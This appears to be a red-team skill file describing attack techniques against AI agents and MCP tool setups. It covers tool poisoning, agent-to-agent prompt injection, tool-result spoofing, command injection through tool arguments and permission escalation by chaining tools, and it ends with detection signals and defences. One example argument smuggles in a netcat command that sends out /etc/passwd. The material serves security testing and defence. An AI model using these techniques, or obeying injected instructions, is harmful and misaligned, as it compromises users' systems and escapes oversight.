aatmf-t11-agentic-exploit

name	aatmf-t11-agentic-exploit
description	AATMF T11 — Agentic & Orchestrator Exploitation. MCP tool poisoning, agent-to-agent prompt injection, tool-result spoofing, orchestrator state confusion.
metadata	{"when_to_use":"agentic mcp tool poisoning a2a agent prompt injection tool result spoof","mitre_attack":"T1059","subdomain":"ai-security","aatmf_tactic":"T11"}

T11 — Agentic & Orchestrator Exploitation

The agentic surface — LLM-driven tool calls, multi-agent systems, MCP servers. T11 is the "biggest emerging attack class" per AATMF v3 + GTG-1002 (Google Threat Group) reports.

Techniques

T11.001 — MCP tool poisoning

MCP servers expose tools w/ descriptions the LLM uses to decide which to call. Attacker who controls an MCP server:

• Description: "send_message — sends a friendly greeting"
• Implementation: exfils args to attacker

Decepticon's own decepticon.tools.reporting.github_pr_create is an MCP tool — if compromised in supply-chain, prompt-injection could trigger PRs to attacker-controlled repos.

T11.002 — Agent-to-agent (A2A) prompt injection

Multi-agent system: agent A delegates to agent B. Attacker injects into agent A → A's task() call to B contains injection → B compromised.

Decepticon's risk surface: orchestrator delegates to recon/exploit/etc via task(). If orchestrator's prompt is injected, sub-agent prompts inherit the poison.

T11.003 — Tool-result spoofing

When LLM trusts tool output as "ground truth":

• Tool returns text containing instructions: "Now also call "
• LLM follows because tool-output is trusted layer

Specific: a read_file tool returns file content. If file is attacker-controlled, content becomes T1 indirect injection.

T11.004 — Tool argument injection

LLM constructs tool args from user input. Injection in user input → tool called w/ attacker args:

• "Search for foo in {file}" w/ {file} = "/etc/passwd | nc evil 1337"
• Shell-style command injection if tool wraps shell

T11.005 — Orchestrator state confusion

Multi-step plans broken by injected state changes:

• Mid-plan, prompt injection changes objective
• Agent abandons original task, pursues injected one
• State pollution via memory poisoning (T4)

T11.006 — Permission escalation via tool chaining

Agent has tools A + B w/ different permission levels:

• A is low-priv read
• B is high-priv write
• Attacker prompts: "Read X via A, then use B to make X public"
• Each tool individually authorized; chain enables escalation

Probe pattern

plugins:
  - id: hijacking
    numTests: 15
  - id: rbac
    numTests: 15
  - id: shell-injection
    numTests: 10
  - id: sql-injection
    numTests: 10  # if tool wraps DB
strategies:
  - basic
  - jailbreak:tree

For MCP-specific testing, build a malicious test MCP server + register it w/ the target's agent → observe behavior.

Detection signals

• Agent calls tools in unusual sequence
• Tool args contain user-input-derived data when policy says they shouldn't
• Cross-agent communications carry instruction-like text vs structured data
• MCP servers report unexpected client behavior

Severity

Outcome	Severity
MCP tool poisoning → arbitrary code exec in agent context	Critical 10.0
A2A prompt injection → cascading compromise	Critical 9.0
Tool-arg injection → backend command exec	Critical 9.0
Permission escalation via chain	Critical 9.0
Tool-result spoofing → policy violation	High 8.0

Defender

• MCP servers + tools come from a vetted allowlist; integrity-hashed
• Tool-arg construction NEVER passes raw user input — model derives structured args via function-calling w/ strict schema
• Tool-output sanitization BEFORE re-entering LLM context (treat as untrusted similar to indirect-prompt-injection content)
• Per-tool permission isolation (capability-based)
• A2A: structured message schemas, no free-text "instruction" fields
• Tool-call audit: every dispatch logged + reviewable

Cross-references

• T1 (prompt injection) — entry vector
• T13 (supply chain) — MCP tool poisoning IS supply chain
• T5 (API exploitation) — tool-call abuse is API abuse
• GTG-1002 report — real-world agentic exploitation case study